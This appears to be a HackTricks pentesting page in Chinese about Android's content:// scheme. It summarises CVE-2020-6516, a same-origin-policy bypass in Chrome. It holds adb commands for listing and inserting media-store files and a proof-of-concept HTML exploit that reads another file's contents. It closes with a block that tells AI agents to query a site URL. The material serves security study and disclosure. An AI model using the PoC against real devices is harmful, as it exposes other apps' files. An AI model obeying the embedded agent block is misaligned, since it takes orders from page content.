# content:// protocol

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

**这是一篇文章的摘要** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)

#### 在媒体存储中列出文件

要列出由媒体存储管理的文件，可以使用以下命令：

```bash
$ content query --uri content://media/external/file
```

为了更人性化的输出，仅显示每个索引文件的标识符和路径：

```bash
$ content query --uri content://media/external/file --projection _id,_data
```

内容提供程序被隔离在它们自己的私有命名空间中。访问提供程序需要特定的 `content://` URI。可以从应用清单或Android框架的源代码中获取访问提供程序的路径信息。

#### Chrome 访问内容提供程序

Android 上的 Chrome 可以通过 `content://` 方案访问内容提供程序，从而可以访问第三方应用程序导出的照片或文档等资源。为了说明这一点，可以将文件插入到媒体存储中，然后通过 Chrome 访问：

```bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```

发现新插入文件的标识符：

```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```

文件可以通过使用构建的带有文件标识符的URL在Chrome中查看。

例如，要列出与特定应用程序相关的文件：

```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```

#### Chrome CVE-2020-6516: 同源策略绕过

*Same Origin Policy* (SOP)是浏览器中的安全协议，限制网页与不同来源的资源进行交互，除非经过跨域资源共享（CORS）策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome将`content://`视为本地方案，意味着更严格的SOP规则，其中每个本地方案URL被视为单独的来源。

然而，CVE-2020-6516是Chrome中的一个漏洞，允许通过`content://` URL加载的资源绕过SOP规则。实际上，来自`content://` URL的JavaScript代码可以访问通过`content://` URL加载的其他资源，这是一个重要的安全问题，特别是在运行早于Android 10版本的Android设备上，因为那时尚未实现作用域存储。

下面的概念验证演示了这个漏洞，其中一个HTML文档，在上传到\*\*/sdcard\*\*并添加到媒体存储后，使用其JavaScript中的`XMLHttpRequest`来访问并显示媒体存储中另一个文件的内容，绕过了SOP规则。

概念验证HTML:

```xml
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
```

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/mobile-pentesting/android-app-pentesting/content-protocol.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
